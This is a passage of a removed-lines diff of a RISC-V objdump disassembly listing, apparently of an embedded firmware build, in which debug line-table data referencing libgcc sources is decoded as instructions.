-    359a:	0311                	addi	t1,t1,4
-    359c:	0900                	addi	s0,sp,144
-    359e:	0004                	0x4
-    35a0:	0501                	addi	a0,a0,0
-    35a2:	0900030b          	0x900030b
-    35a6:	0004                	0x4
-    35a8:	0501                	addi	a0,a0,0
-    35aa:	0608                	addi	a0,sp,768
-    35ac:	04090103          	lb	sp,64(s2)
-    35b0:	0100                	addi	s0,sp,128
-    35b2:	0b05                	addi	s6,s6,1
-    35b4:	0306                	slli	t1,t1,0x1
-    35b6:	0901                	addi	s2,s2,0
-    35b8:	0000                	unimp
-    35ba:	0501                	addi	a0,a0,0
-    35bc:	0308                	addi	a0,sp,384
-    35be:	0904                	addi	s1,sp,144
-    35c0:	0004                	0x4
-    35c2:	0501                	addi	a0,a0,0
-    35c4:	0311                	addi	t1,t1,4
-    35c6:	097d                	addi	s2,s2,31
-    35c8:	0008                	0x8
-    35ca:	0501                	addi	a0,a0,0
-    35cc:	031e                	slli	t1,t1,0x7
-    35ce:	0900                	addi	s0,sp,144
-    35d0:	0004                	0x4
-    35d2:	0501                	addi	a0,a0,0
-    35d4:	097e030b          	0x97e030b
-    35d8:	0004                	0x4
-    35da:	0501                	addi	a0,a0,0
-    35dc:	0608                	addi	a0,sp,768
-    35de:	04090103          	lb	sp,64(s2)
-    35e2:	0100                	addi	s0,sp,128
-    35e4:	00090103          	lb	sp,0(s2)
-    35e8:	0100                	addi	s0,sp,128
-    35ea:	0b05                	addi	s6,s6,1
-    35ec:	0306                	slli	t1,t1,0x1
-    35ee:	0900                	addi	s0,sp,144
-    35f0:	0000                	unimp
-    35f2:	0501                	addi	a0,a0,0
-    35f4:	0608                	addi	a0,sp,768
-    35f6:	04090103          	lb	sp,64(s2)
-    35fa:	0100                	addi	s0,sp,128
-    35fc:	00090203          	lb	tp,0(s2)
-    3600:	0100                	addi	s0,sp,128
-    3602:	00090003          	lb	zero,0(s2)
-    3606:	0100                	addi	s0,sp,128
-    3608:	00090003          	lb	zero,0(s2)
-    360c:	0100                	addi	s0,sp,128
-    360e:	00090003          	lb	zero,0(s2)
-    3612:	0100                	addi	s0,sp,128
-    3614:	00090003          	lb	zero,0(s2)
-    3618:	0100                	addi	s0,sp,128
-    361a:	06090003          	lb	zero,96(s2)
-    361e:	0100                	addi	s0,sp,128
-    3620:	00090003          	lb	zero,0(s2)
-    3624:	0100                	addi	s0,sp,128
-    3626:	08090003          	lb	zero,128(s2)
-    362a:	0100                	addi	s0,sp,128
-    362c:	08090003          	lb	zero,128(s2)
-    3630:	0100                	addi	s0,sp,128
-    3632:	00090003          	lb	zero,0(s2)
-    3636:	0100                	addi	s0,sp,128
-    3638:	06090003          	lb	zero,96(s2)
-    363c:	0100                	addi	s0,sp,128
-    363e:	06090003          	lb	zero,96(s2)
-    3642:	0100                	addi	s0,sp,128
-    3644:	04090003          	lb	zero,64(s2)
-    3648:	0100                	addi	s0,sp,128
-    364a:	04090003          	lb	zero,64(s2)
-    364e:	0100                	addi	s0,sp,128
-    3650:	06090003          	lb	zero,96(s2)
-    3654:	0100                	addi	s0,sp,128
-    3656:	04090003          	lb	zero,64(s2)
-    365a:	0100                	addi	s0,sp,128
-    365c:	04090003          	lb	zero,64(s2)
-    3660:	0100                	addi	s0,sp,128
-    3662:	04090003          	lb	zero,64(s2)
-    3666:	0100                	addi	s0,sp,128
-    3668:	06090003          	lb	zero,96(s2)
-    366c:	0100                	addi	s0,sp,128
-    366e:	08090003          	lb	zero,128(s2)
-    3672:	0100                	addi	s0,sp,128
-    3674:	06090003          	lb	zero,96(s2)
-    3678:	0100                	addi	s0,sp,128
-    367a:	06090003          	lb	zero,96(s2)
-    367e:	0100                	addi	s0,sp,128
-    3680:	04090003          	lb	zero,64(s2)
-    3684:	0100                	addi	s0,sp,128
-    3686:	04090003          	lb	zero,64(s2)
-    368a:	0100                	addi	s0,sp,128
-    368c:	06090003          	lb	zero,96(s2)
-    3690:	0100                	addi	s0,sp,128
-    3692:	0306                	slli	t1,t1,0x1
-    3694:	0901                	addi	s2,s2,0
-    3696:	0002                	c.slli64	zero
-    3698:	0301                	addi	t1,t1,0
-    369a:	097f                	0x97f
-    369c:	0002                	c.slli64	zero
-    369e:	0301                	addi	t1,t1,0
-    36a0:	0901                	addi	s2,s2,0
-    36a2:	0002                	c.slli64	zero
-    36a4:	0301                	addi	t1,t1,0
-    36a6:	097f                	0x97f
-    36a8:	000c                	0xc
-    36aa:	0601                	addi	a2,a2,0
-    36ac:	04090003          	lb	zero,64(s2)
-    36b0:	0100                	addi	s0,sp,128
-    36b2:	00090003          	lb	zero,0(s2)
-    36b6:	0100                	addi	s0,sp,128
-    36b8:	00090003          	lb	zero,0(s2)
-    36bc:	0100                	addi	s0,sp,128
-    36be:	00090103          	lb	sp,0(s2)
-    36c2:	0100                	addi	s0,sp,128
-    36c4:	00090003          	lb	zero,0(s2)
-    36c8:	0100                	addi	s0,sp,128
-    36ca:	00090003          	lb	zero,0(s2)
-    36ce:	0100                	addi	s0,sp,128
-    36d0:	00090003          	lb	zero,0(s2)
-    36d4:	0100                	addi	s0,sp,128
-    36d6:	04090003          	lb	zero,64(s2)
-    36da:	0100                	addi	s0,sp,128
-    36dc:	00090003          	lb	zero,0(s2)
-    36e0:	0100                	addi	s0,sp,128
-    36e2:	04090003          	lb	zero,64(s2)
-    36e6:	0100                	addi	s0,sp,128
-    36e8:	00090003          	lb	zero,0(s2)
-    36ec:	0100                	addi	s0,sp,128
-    36ee:	04090003          	lb	zero,64(s2)
-    36f2:	0100                	addi	s0,sp,128
-    36f4:	00090003          	lb	zero,0(s2)
-    36f8:	0100                	addi	s0,sp,128
-    36fa:	04090003          	lb	zero,64(s2)
-    36fe:	0100                	addi	s0,sp,128
-    3700:	10090003          	lb	zero,256(s2)
-    3704:	0100                	addi	s0,sp,128
-    3706:	00090003          	lb	zero,0(s2)
-    370a:	0100                	addi	s0,sp,128
-    370c:	00090003          	lb	zero,0(s2)
-    3710:	0100                	addi	s0,sp,128
-    3712:	04090003          	lb	zero,64(s2)
-    3716:	0100                	addi	s0,sp,128
-    3718:	02090003          	lb	zero,32(s2)
-    371c:	0100                	addi	s0,sp,128
-    371e:	06090003          	lb	zero,96(s2)
-    3722:	0100                	addi	s0,sp,128
-    3724:	00090003          	lb	zero,0(s2)
-    3728:	0100                	addi	s0,sp,128
-    372a:	00090203          	lb	tp,0(s2)
-    372e:	0100                	addi	s0,sp,128
-    3730:	0b05                	addi	s6,s6,1
-    3732:	0306                	slli	t1,t1,0x1
-    3734:	0900                	addi	s0,sp,144
-    3736:	0000                	unimp
-    3738:	0501                	addi	a0,a0,0
-    373a:	0314                	addi	a3,sp,384
-    373c:	0900                	addi	s0,sp,144
-    373e:	0004                	0x4
-    3740:	0501                	addi	a0,a0,0
-    3742:	0308                	addi	a0,sp,384
-    3744:	097e                	slli	s2,s2,0x1f
-    3746:	0004                	0x4
-    3748:	0501                	addi	a0,a0,0
-    374a:	097d030b          	0x97d030b
-    374e:	000c                	0xc
-    3750:	0501                	addi	a0,a0,0
-    3752:	0308                	addi	a0,sp,384
-    3754:	00040903          	lb	s2,0(s0)
-    3758:	0501                	addi	a0,a0,0
-    375a:	0908030b          	0x908030b
-    375e:	0002                	c.slli64	zero
-    3760:	0501                	addi	a0,a0,0
-    3762:	0321                	addi	t1,t1,8
-    3764:	097a                	slli	s2,s2,0x1e
-    3766:	0002                	c.slli64	zero
-    3768:	0501                	addi	a0,a0,0
-    376a:	0605                	addi	a2,a2,1
-    376c:	04090203          	lb	tp,64(s2)
-    3770:	0100                	addi	s0,sp,128
-    3772:	0705                	addi	a4,a4,1
-    3774:	0306                	slli	t1,t1,0x1
-    3776:	0900                	addi	s0,sp,144
-    3778:	0000                	unimp
-    377a:	0501                	addi	a0,a0,0
-    377c:	0605                	addi	a2,a2,1
-    377e:	02090103          	lb	sp,32(s2)
-    3782:	0100                	addi	s0,sp,128
-    3784:	00090003          	lb	zero,0(s2)
-    3788:	0100                	addi	s0,sp,128
-    378a:	00090003          	lb	zero,0(s2)
-    378e:	0100                	addi	s0,sp,128
-    3790:	00090003          	lb	zero,0(s2)
-    3794:	0100                	addi	s0,sp,128
-    3796:	00090003          	lb	zero,0(s2)
-    379a:	0100                	addi	s0,sp,128
-    379c:	0705                	addi	a4,a4,1
-    379e:	0306                	slli	t1,t1,0x1
-    37a0:	00020943          	fmadd.s	fs2,ft4,ft0,ft0,rne
-    37a4:	0301                	addi	t1,t1,0
-    37a6:	097f                	0x97f
-    37a8:	0002                	c.slli64	zero
-    37aa:	0901                	addi	s2,s2,0
-    37ac:	0004                	0x4
-    37ae:	0100                	addi	s0,sp,128
-    37b0:	5501                	li	a0,-32
-    37b2:	0000                	unimp
-    37b4:	0300                	addi	s0,sp,384
-    37b6:	4f00                	lw	s0,24(a4)
-    37b8:	0000                	unimp
-    37ba:	0100                	addi	s0,sp,128
-    37bc:	fb01                	bnez	a4,36cc <__stack_size+0x2ecc>
-    37be:	0d0e                	slli	s10,s10,0x3
-    37c0:	0100                	addi	s0,sp,128
-    37c2:	0101                	addi	sp,sp,0
-    37c4:	0001                	nop
-    37c6:	0000                	unimp
-    37c8:	0001                	nop
-    37ca:	0100                	addi	s0,sp,128
-    37cc:	2e2e                	fld	ft8,200(sp)
-    37ce:	2f2e2e2f          	0x2f2e2e2f
-    37d2:	2e2e                	fld	ft8,200(sp)
-    37d4:	2f2e2e2f          	0x2f2e2e2f
-    37d8:	2e2e                	fld	ft8,200(sp)
-    37da:	722f2e2f          	0x722f2e2f
-    37de:	7369                	lui	t1,0xffffa
-    37e0:	672d7663          	bgeu	s10,s2,3e4c <__stack_size+0x364c>
-    37e4:	6c2f6363          	bltu	t5,sp,3eaa <__stack_size+0x36aa>
-    37e8:	6269                	lui	tp,0x1a
-    37ea:	00636367          	0x636367
-    37ee:	6c00                	flw	fs0,24(s0)
-    37f0:	6269                	lui	tp,0x1a
-    37f2:	32636367          	0x32636367
-    37f6:	682e                	flw	fa6,200(sp)
-    37f8:	0100                	addi	s0,sp,128
-    37fa:	0000                	unimp
-    37fc:	696c                	flw	fa1,84(a0)
-    37fe:	6762                	flw	fa4,24(sp)
-    3800:	2e326363          	bltu	tp,gp,3ae6 <__stack_size+0x32e6>
-    3804:	00010063          	beqz	sp,3804 <__stack_size+0x3004>
-    3808:	0000                	unimp
-    380a:	0809                	addi	a6,a6,2
-    380c:	0000                	unimp
-    380e:	004f0003          	lb	zero,4(t5)
-    3812:	0000                	unimp
-    3814:	0101                	addi	sp,sp,0
-    3816:	000d0efb          	0xd0efb
-    381a:	0101                	addi	sp,sp,0
-    381c:	0101                	addi	sp,sp,0
-    381e:	0000                	unimp
-    3820:	0100                	addi	s0,sp,128
-    3822:	0000                	unimp
-    3824:	2e01                	jal	3b34 <__stack_size+0x3334>
-    3826:	2f2e                	fld	ft10,200(sp)
-    3828:	2e2e                	fld	ft8,200(sp)
-    382a:	2f2e2e2f          	0x2f2e2e2f
-    382e:	2e2e                	fld	ft8,200(sp)
-    3830:	2f2e2e2f          	0x2f2e2e2f
-    3834:	2f2e                	fld	ft10,200(sp)
-    3836:	6972                	flw	fs2,28(sp)
-    3838:	2d766373          	csrrsi	t1,0x2d7,12
-    383c:	2f636367          	0x2f636367
-    3840:	696c                	flw	fa1,84(a0)
-    3842:	6762                	flw	fa4,24(sp)
-    3844:	00006363          	bltu	zero,zero,384a <__stack_size+0x304a>
-    3848:	696c                	flw	fa1,84(a0)
-    384a:	6762                	flw	fa4,24(sp)
-    384c:	2e326363          	bltu	tp,gp,3b32 <__stack_size+0x3332>
-    3850:	00010063          	beqz	sp,3850 <__stack_size+0x3050>
-    3854:	6c00                	flw	fs0,24(s0)
-    3856:	6269                	lui	tp,0x1a
-    3858:	32636367          	0x32636367
-    385c:	682e                	flw	fa6,200(sp)
-    385e:	0100                	addi	s0,sp,128
-    3860:	0000                	unimp
-    3862:	0500                	addi	s0,sp,640
-    3864:	0001                	nop
-    3866:	0205                	addi	tp,tp,1
-    3868:	4ed6                	lw	t4,84(sp)
-    386a:	2040                	fld	fs0,128(s0)
-    386c:	010a9a03          	lh	s4,16(s5)
-    3870:	0306                	slli	t1,t1,0x1
-    3872:	0900                	addi	s0,sp,144
-    3874:	0000                	unimp
-    3876:	0501                	addi	a0,a0,0
-    3878:	01030603          	lb	a2,16(t1) # ffffa010 <_heap_end+0x7ffeb810>
-    387c:	0209                	addi	tp,tp,2
-    387e:	0100                	addi	s0,sp,128
-    3880:	00090203          	lb	tp,0(s2)
-    3884:	0100                	addi	s0,sp,128
-    3886:	097ddb03          	lhu	s6,151(s11) # ffff6097 <_heap_end+0x7ffe7897>
-    388a:	0000                	unimp
-    388c:	0301                	addi	t1,t1,0
-    388e:	0901                	addi	s2,s2,0
-    3890:	0000                	unimp
-    3892:	0301                	addi	t1,t1,0
-    3894:	0901                	addi	s2,s2,0
-    3896:	0000                	unimp
-    3898:	0301                	addi	t1,t1,0
-    389a:	0901                	addi	s2,s2,0
-    389c:	0000                	unimp
-    389e:	0301                	addi	t1,t1,0
-    38a0:	0901                	addi	s2,s2,0
-    38a2:	0000                	unimp
-    38a4:	0301                	addi	t1,t1,0
-    38a6:	0901                	addi	s2,s2,0
-    38a8:	0000                	unimp
-    38aa:	0301                	addi	t1,t1,0
-    38ac:	0902                	c.slli64	s2
-    38ae:	0000                	unimp
-    38b0:	0501                	addi	a0,a0,0
-    38b2:	0606                	slli	a2,a2,0x1
-    38b4:	00090003          	lb	zero,0(s2)
-    38b8:	0100                	addi	s0,sp,128
-    38ba:	0305                	addi	t1,t1,1
-    38bc:	0306                	slli	t1,t1,0x1
-    38be:	0901                	addi	s2,s2,0
-    38c0:	0002                	c.slli64	zero
-    38c2:	0501                	addi	a0,a0,0
-    38c4:	0606                	slli	a2,a2,0x1
-    38c6:	00090003          	lb	zero,0(s2)
-    38ca:	0100                	addi	s0,sp,128
-    38cc:	0305                	addi	t1,t1,1
-    38ce:	0306                	slli	t1,t1,0x1
-    38d0:	0901                	addi	s2,s2,0
-    38d2:	0002                	c.slli64	zero
-    38d4:	0301                	addi	t1,t1,0
-    38d6:	0901                	addi	s2,s2,0
-    38d8:	0000                	unimp
-    38da:	0501                	addi	a0,a0,0
-    38dc:	0606                	slli	a2,a2,0x1
-    38de:	00090003          	lb	zero,0(s2)
-    38e2:	0100                	addi	s0,sp,128
-    38e4:	0305                	addi	t1,t1,1
-    38e6:	0306                	slli	t1,t1,0x1
-    38e8:	0925                	addi	s2,s2,9
-    38ea:	0002                	c.slli64	zero
-    38ec:	0501                	addi	a0,a0,0
-    38ee:	0606                	slli	a2,a2,0x1
-    38f0:	00090003          	lb	zero,0(s2)
-    38f4:	0100                	addi	s0,sp,128
-    38f6:	0705                	addi	a4,a4,1
-    38f8:	0306                	slli	t1,t1,0x1
-    38fa:	0902                	c.slli64	s2
-    38fc:	0004                	0x4
-    38fe:	0501                	addi	a0,a0,0
-    3900:	060a                	slli	a2,a2,0x2
-    3902:	08090003          	lb	zero,128(s2)
-    3906:	0100                	addi	s0,sp,128
-    3908:	0405                	addi	s0,s0,1
-    390a:	0306                	slli	t1,t1,0x1
-    390c:	0904                	addi	s1,sp,144
-    390e:	0004                	0x4
-    3910:	0301                	addi	t1,t1,0
-    3912:	0900                	addi	s0,sp,144
-    3914:	0000                	unimp
-    3916:	0301                	addi	t1,t1,0
-    3918:	0900                	addi	s0,sp,144
-    391a:	0000                	unimp
-    391c:	0301                	addi	t1,t1,0
-    391e:	0900                	addi	s0,sp,144
-    3920:	0000                	unimp
-    3922:	0301                	addi	t1,t1,0
-    3924:	0900                	addi	s0,sp,144
-    3926:	0000                	unimp
-    3928:	0301                	addi	t1,t1,0
-    392a:	0900                	addi	s0,sp,144
-    392c:	0010                	0x10
-    392e:	0301                	addi	t1,t1,0
-    3930:	0900                	addi	s0,sp,144
-    3932:	0014                	0x14
-    3934:	0301                	addi	t1,t1,0
-    3936:	0902                	c.slli64	s2
-    3938:	0000                	unimp
-    393a:	0501                	addi	a0,a0,0
-    393c:	00030607          	0x30607
-    3940:	0009                	c.nop	2
-    3942:	0100                	addi	s0,sp,128
-    3944:	0805                	addi	a6,a6,1
-    3946:	0306                	slli	t1,t1,0x1
-    3948:	0905                	addi	s2,s2,1
-    394a:	0004                	0x4
-    394c:	0501                	addi	a0,a0,0
-    394e:	0611                	addi	a2,a2,4
-    3950:	00090103          	lb	sp,0(s2)
-    3954:	0100                	addi	s0,sp,128
-    3956:	1e05                	addi	t3,t3,-31
-    3958:	04090003          	lb	zero,64(s2)
-    395c:	0100                	addi	s0,sp,128
-    395e:	0b05                	addi	s6,s6,1
-    3960:	04097f03          	0x4097f03
-    3964:	0100                	addi	s0,sp,128
-    3966:	0805                	addi	a6,a6,1
-    3968:	0306                	slli	t1,t1,0x1
-    396a:	0901                	addi	s2,s2,0
-    396c:	0004                	0x4
-    396e:	0501                	addi	a0,a0,0
-    3970:	0003060b          	0x3060b
-    3974:	0009                	c.nop	2
-    3976:	0100                	addi	s0,sp,128
-    3978:	0805                	addi	a6,a6,1
-    397a:	0306                	slli	t1,t1,0x1
-    397c:	0901                	addi	s2,s2,0
-    397e:	0004                	0x4
-    3980:	0501                	addi	a0,a0,0
-    3982:	0003060b          	0x3060b
-    3986:	0009                	c.nop	2
-    3988:	0100                	addi	s0,sp,128
-    398a:	0405                	addi	s0,s0,1
-    398c:	0306                	slli	t1,t1,0x1
-    398e:	00040903          	lb	s2,0(s0)
-    3992:	0301                	addi	t1,t1,0
-    3994:	0900                	addi	s0,sp,144
-    3996:	0000                	unimp
-    3998:	0301                	addi	t1,t1,0
-    399a:	0900                	addi	s0,sp,144
-    399c:	0000                	unimp
-    399e:	0301                	addi	t1,t1,0
-    39a0:	0900                	addi	s0,sp,144
-    39a2:	0000                	unimp
-    39a4:	0301                	addi	t1,t1,0
-    39a6:	0900                	addi	s0,sp,144
-    39a8:	0004                	0x4
-    39aa:	0301                	addi	t1,t1,0
-    39ac:	0900                	addi	s0,sp,144
-    39ae:	000a                	c.slli	zero,0x2
-    39b0:	0301                	addi	t1,t1,0
-    39b2:	0900                	addi	s0,sp,144
-    39b4:	0000                	unimp
-    39b6:	0301                	addi	t1,t1,0
-    39b8:	0900                	addi	s0,sp,144
-    39ba:	0008                	0x8
-    39bc:	0301                	addi	t1,t1,0
-    39be:	0900                	addi	s0,sp,144
-    39c0:	0008                	0x8
-    39c2:	0301                	addi	t1,t1,0
-    39c4:	0900                	addi	s0,sp,144
-    39c6:	0000                	unimp
-    39c8:	0301                	addi	t1,t1,0
-    39ca:	0900                	addi	s0,sp,144
-    39cc:	0004                	0x4
-    39ce:	0301                	addi	t1,t1,0
-    39d0:	0900                	addi	s0,sp,144
-    39d2:	0002                	c.slli64	zero
-    39d4:	0301                	addi	t1,t1,0
-    39d6:	0900                	addi	s0,sp,144
-    39d8:	0004                	0x4
-    39da:	0301                	addi	t1,t1,0
-    39dc:	0900                	addi	s0,sp,144
-    39de:	0004                	0x4
-    39e0:	0301                	addi	t1,t1,0
-    39e2:	0900                	addi	s0,sp,144
-    39e4:	0002                	c.slli64	zero
-    39e6:	0301                	addi	t1,t1,0
-    39e8:	0900                	addi	s0,sp,144
-    39ea:	0002                	c.slli64	zero
-    39ec:	0301                	addi	t1,t1,0
-    39ee:	0900                	addi	s0,sp,144
-    39f0:	0004                	0x4
-    39f2:	0301                	addi	t1,t1,0
-    39f4:	0900                	addi	s0,sp,144
-    39f6:	0008                	0x8
-    39f8:	0301                	addi	t1,t1,0
-    39fa:	0900                	addi	s0,sp,144
-    39fc:	0008                	0x8
-    39fe:	0301                	addi	t1,t1,0
-    3a00:	0900                	addi	s0,sp,144
-    3a02:	0000                	unimp
-    3a04:	0301                	addi	t1,t1,0
-    3a06:	0900                	addi	s0,sp,144
-    3a08:	0004                	0x4
-    3a0a:	0301                	addi	t1,t1,0
-    3a0c:	0900                	addi	s0,sp,144
-    3a0e:	0002                	c.slli64	zero
-    3a10:	0301                	addi	t1,t1,0
-    3a12:	0900                	addi	s0,sp,144
-    3a14:	0004                	0x4
-    3a16:	0301                	addi	t1,t1,0
-    3a18:	0900                	addi	s0,sp,144
-    3a1a:	0004                	0x4
-    3a1c:	0301                	addi	t1,t1,0
-    3a1e:	0900                	addi	s0,sp,144
-    3a20:	0002                	c.slli64	zero
-    3a22:	0301                	addi	t1,t1,0
-    3a24:	0900                	addi	s0,sp,144
-    3a26:	0002                	c.slli64	zero
-    3a28:	0301                	addi	t1,t1,0
-    3a2a:	0900                	addi	s0,sp,144
-    3a2c:	0000                	unimp
-    3a2e:	0301                	addi	t1,t1,0
-    3a30:	0900                	addi	s0,sp,144
-    3a32:	0000                	unimp
-    3a34:	0301                	addi	t1,t1,0
-    3a36:	0901                	addi	s2,s2,0
-    3a38:	0000                	unimp
-    3a3a:	0301                	addi	t1,t1,0
-    3a3c:	0929                	addi	s2,s2,10
-    3a3e:	0000                	unimp
-    3a40:	0501                	addi	a0,a0,0
-    3a42:	09050307          	0x9050307
-    3a46:	0000                	unimp
-    3a48:	0501                	addi	a0,a0,0
-    3a4a:	0304                	addi	s1,sp,384
-    3a4c:	0902                	c.slli64	s2
-    3a4e:	0000                	unimp
-    3a50:	0501                	addi	a0,a0,0
-    3a52:	0612                	slli	a2,a2,0x4
-    3a54:	00090003          	lb	zero,0(s2)
-    3a58:	0100                	addi	s0,sp,128
-    3a5a:	0405                	addi	s0,s0,1
-    3a5c:	0306                	slli	t1,t1,0x1
-    3a5e:	0901                	addi	s2,s2,0
-    3a60:	0004                	0x4
-    3a62:	0301                	addi	t1,t1,0
-    3a64:	0901                	addi	s2,s2,0
-    3a66:	0000                	unimp
-    3a68:	0501                	addi	a0,a0,0
-    3a6a:	060c                	addi	a1,sp,768
-    3a6c:	00090003          	lb	zero,0(s2)
-    3a70:	0100                	addi	s0,sp,128
-    3a72:	0305                	addi	t1,t1,1
-    3a74:	0306                	slli	t1,t1,0x1
-    3a76:	00da                	slli	ra,ra,0x16
-    3a78:	0209                	addi	tp,tp,2
-    3a7a:	0100                	addi	s0,sp,128
-    3a7c:	00090103          	lb	sp,0(s2)
-    3a80:	0100                	addi	s0,sp,128
-    3a82:	0900d803          	lhu	a6,144(ra)
-    3a86:	0000                	unimp
-    3a88:	0501                	addi	a0,a0,0
-    3a8a:	0601                	addi	a2,a2,0
-    3a8c:	00090103          	lb	sp,0(s2)
-    3a90:	0100                	addi	s0,sp,128
-    3a92:	0405                	addi	s0,s0,1
-    3a94:	097e8d03          	lb	s10,151(t4)
-    3a98:	0002                	c.slli64	zero
-    3a9a:	0601                	addi	a2,a2,0
-    3a9c:	0e091503          	lh	a0,224(s2)
-    3aa0:	0100                	addi	s0,sp,128
-    3aa2:	0705                	addi	a4,a4,1
-    3aa4:	0306                	slli	t1,t1,0x1
-    3aa6:	0900                	addi	s0,sp,144
-    3aa8:	0000                	unimp
-    3aaa:	0501                	addi	a0,a0,0
-    3aac:	0606                	slli	a2,a2,0x1
-    3aae:	02090103          	lb	sp,32(s2)
-    3ab2:	0100                	addi	s0,sp,128
-    3ab4:	0905                	addi	s2,s2,1
-    3ab6:	0306                	slli	t1,t1,0x1
-    3ab8:	0900                	addi	s0,sp,144
-    3aba:	0000                	unimp
-    3abc:	0501                	addi	a0,a0,0
-    3abe:	0604                	addi	s1,sp,768
-    3ac0:	06090203          	lb	tp,96(s2)
-    3ac4:	0100                	addi	s0,sp,128
-    3ac6:	00090003          	lb	zero,0(s2)
-    3aca:	0100                	addi	s0,sp,128
-    3acc:	00090003          	lb	zero,0(s2)
-    3ad0:	0100                	addi	s0,sp,128
-    3ad2:	00090003          	lb	zero,0(s2)
-    3ad6:	0100                	addi	s0,sp,128
-    3ad8:	00090003          	lb	zero,0(s2)
-    3adc:	0100                	addi	s0,sp,128
-    3ade:	10090003          	lb	zero,256(s2)
-    3ae2:	0100                	addi	s0,sp,128
-    3ae4:	14090003          	lb	zero,320(s2)
-    3ae8:	0100                	addi	s0,sp,128
-    3aea:	00090203          	lb	tp,0(s2)
-    3aee:	0100                	addi	s0,sp,128
-    3af0:	0705                	addi	a4,a4,1
-    3af2:	0306                	slli	t1,t1,0x1
-    3af4:	0900                	addi	s0,sp,144
-    3af6:	0000                	unimp
-    3af8:	0501                	addi	a0,a0,0
-    3afa:	0608                	addi	a0,sp,768
-    3afc:	04090903          	lb	s2,64(s2)
-    3b00:	0100                	addi	s0,sp,128
-    3b02:	0b05                	addi	s6,s6,1
-    3b04:	0306                	slli	t1,t1,0x1
-    3b06:	0900                	addi	s0,sp,144
-    3b08:	0000                	unimp
-    3b0a:	0501                	addi	a0,a0,0
-    3b0c:	0608                	addi	a0,sp,768
-    3b0e:	04090103          	lb	sp,64(s2)
-    3b12:	0100                	addi	s0,sp,128
-    3b14:	00090d03          	lb	s10,0(s2)
-    3b18:	0100                	addi	s0,sp,128
-    3b1a:	0405                	addi	s0,s0,1
-    3b1c:	00090503          	lb	a0,0(s2)
-    3b20:	0100                	addi	s0,sp,128
-    3b22:	00090003          	lb	zero,0(s2)
-    3b26:	0100                	addi	s0,sp,128
-    3b28:	00090003          	lb	zero,0(s2)
-    3b2c:	0100                	addi	s0,sp,128
-    3b2e:	00090003          	lb	zero,0(s2)
-    3b32:	0100                	addi	s0,sp,128
-    3b34:	04090003          	lb	zero,64(s2)
-    3b38:	0100                	addi	s0,sp,128
-    3b3a:	06090003          	lb	zero,96(s2)
-    3b3e:	0100                	addi	s0,sp,128
-    3b40:	08090003          	lb	zero,128(s2)
-    3b44:	0100                	addi	s0,sp,128
-    3b46:	04090003          	lb	zero,64(s2)
-    3b4a:	0100                	addi	s0,sp,128
-    3b4c:	08090003          	lb	zero,128(s2)
-    3b50:	0100                	addi	s0,sp,128
-    3b52:	00090003          	lb	zero,0(s2)
-    3b56:	0100                	addi	s0,sp,128
-    3b58:	04090003          	lb	zero,64(s2)
-    3b5c:	0100                	addi	s0,sp,128
-    3b5e:	02090003          	lb	zero,32(s2)
-    3b62:	0100                	addi	s0,sp,128
-    3b64:	04090003          	lb	zero,64(s2)
-    3b68:	0100                	addi	s0,sp,128
-    3b6a:	04090003          	lb	zero,64(s2)
-    3b6e:	0100                	addi	s0,sp,128
-    3b70:	02090003          	lb	zero,32(s2)
-    3b74:	0100                	addi	s0,sp,128
-    3b76:	04090003          	lb	zero,64(s2)
-    3b7a:	0100                	addi	s0,sp,128
-    3b7c:	04090003          	lb	zero,64(s2)
-    3b80:	0100                	addi	s0,sp,128
-    3b82:	08090003          	lb	zero,128(s2)
-    3b86:	0100                	addi	s0,sp,128
-    3b88:	04090003          	lb	zero,64(s2)
-    3b8c:	0100                	addi	s0,sp,128
-    3b8e:	06090003          	lb	zero,96(s2)
-    3b92:	0100                	addi	s0,sp,128
-    3b94:	04090003          	lb	zero,64(s2)
-    3b98:	0100                	addi	s0,sp,128
-    3b9a:	02090003          	lb	zero,32(s2)
-    3b9e:	0100                	addi	s0,sp,128
-    3ba0:	04090003          	lb	zero,64(s2)
-    3ba4:	0100                	addi	s0,sp,128
-    3ba6:	04090003          	lb	zero,64(s2)
-    3baa:	0100                	addi	s0,sp,128
-    3bac:	02090003          	lb	zero,32(s2)
-    3bb0:	0100                	addi	s0,sp,128
-    3bb2:	02090003          	lb	zero,32(s2)
-    3bb6:	0100                	addi	s0,sp,128
-    3bb8:	00090003          	lb	zero,0(s2)
-    3bbc:	0100                	addi	s0,sp,128
-    3bbe:	0306                	slli	t1,t1,0x1
-    3bc0:	0962                	slli	s2,s2,0x18
-    3bc2:	0002                	c.slli64	zero
-    3bc4:	0501                	addi	a0,a0,0
-    3bc6:	0608                	addi	a0,sp,768
-    3bc8:	0e091203          	lh	tp,224(s2)
-    3bcc:	0100                	addi	s0,sp,128
-    3bce:	00090203          	lb	tp,0(s2)
-    3bd2:	0100                	addi	s0,sp,128
-    3bd4:	0b05                	addi	s6,s6,1
-    3bd6:	0306                	slli	t1,t1,0x1
-    3bd8:	0900                	addi	s0,sp,144
-    3bda:	0000                	unimp
-    3bdc:	0501                	addi	a0,a0,0
-    3bde:	0608                	addi	a0,sp,768
-    3be0:	04090103          	lb	sp,64(s2)
-    3be4:	0100                	addi	s0,sp,128
-    3be6:	0b05                	addi	s6,s6,1
-    3be8:	0306                	slli	t1,t1,0x1
-    3bea:	0900                	addi	s0,sp,144
-    3bec:	0000                	unimp
-    3bee:	0501                	addi	a0,a0,0
-    3bf0:	0608                	addi	a0,sp,768
-    3bf2:	04090103          	lb	sp,64(s2)
-    3bf6:	0100                	addi	s0,sp,128
-    3bf8:	0306                	slli	t1,t1,0x1
-    3bfa:	00000903          	lb	s2,0(zero) # 0 <__stack_size-0x800>
-    3bfe:	0501                	addi	a0,a0,0
-    3c00:	0311                	addi	t1,t1,4
-    3c02:	097d                	addi	s2,s2,31
-    3c04:	0008                	0x8
-    3c06:	0501                	addi	a0,a0,0
-    3c08:	031e                	slli	t1,t1,0x7
-    3c0a:	0900                	addi	s0,sp,144
-    3c0c:	0004                	0x4
-    3c0e:	0501                	addi	a0,a0,0
-    3c10:	0900030b          	0x900030b
-    3c14:	0004                	0x4
-    3c16:	0501                	addi	a0,a0,0
-    3c18:	0608                	addi	a0,sp,768
-    3c1a:	02090103          	lb	sp,32(s2)
-    3c1e:	0100                	addi	s0,sp,128
-    3c20:	0306                	slli	t1,t1,0x1
-    3c22:	0902                	c.slli64	s2
-    3c24:	0000                	unimp
-    3c26:	0501                	addi	a0,a0,0
-    3c28:	097e030b          	0x97e030b
-    3c2c:	0006                	c.slli	zero,0x1
-    3c2e:	0501                	addi	a0,a0,0
-    3c30:	0608                	addi	a0,sp,768
-    3c32:	04090203          	lb	tp,64(s2)
